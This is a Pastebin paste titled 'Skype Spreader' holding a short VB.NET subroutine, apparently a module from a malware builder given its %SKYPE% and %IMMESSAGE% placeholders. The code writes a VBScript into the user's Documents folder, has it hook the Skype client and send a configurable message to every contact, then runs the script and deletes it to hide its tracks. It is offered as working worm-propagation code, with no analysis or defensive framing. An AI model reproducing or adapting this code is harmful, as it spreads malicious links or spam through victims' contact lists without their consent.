SqLasticSoftware

Skype Spreader | SqLastic Software |

Sep 18th, 2015
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.05 KB | None | 0 0
  1. Sub SkypeSpread()
  2.     If "%SKYPE%" = "True" Then
  3.     Try
  4.     Dim g As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\cc.vbs")
  5.     g.BaseStream.Seek(0, SeekOrigin.End)
  6.     g.WriteLine("on error resume next")
  7.     g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
  8.     g.WriteLine("Fruxr.Client.Start()")
  9.     g.WriteLine("Fruxr.Attach()")
  10.     g.WriteLine("For Each KZN In Fruxr.Friends")
  11.     g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")
  12.     g.WriteLine("next")
  13.     g.Close()
  14.     Dim p As New Process
  15.     Dim ProcessProperties As New ProcessStartInfo
  16.     ProcessProperties.FileName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\cc.vbs"
  17.     Dim myProcess As Process = Process.Start(ProcessProperties)
  18.     myProcess.WaitForExit()
  19.     Threading.Thread.Sleep(5000)
  20.     IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\cc.vbs")
  21.     Catch ex As Exception
  22.     MsgBox(ex.ToString)
  23.     End Try
  24.     End If
  25.     End Sub
Add Comment
Please, Sign In to add comment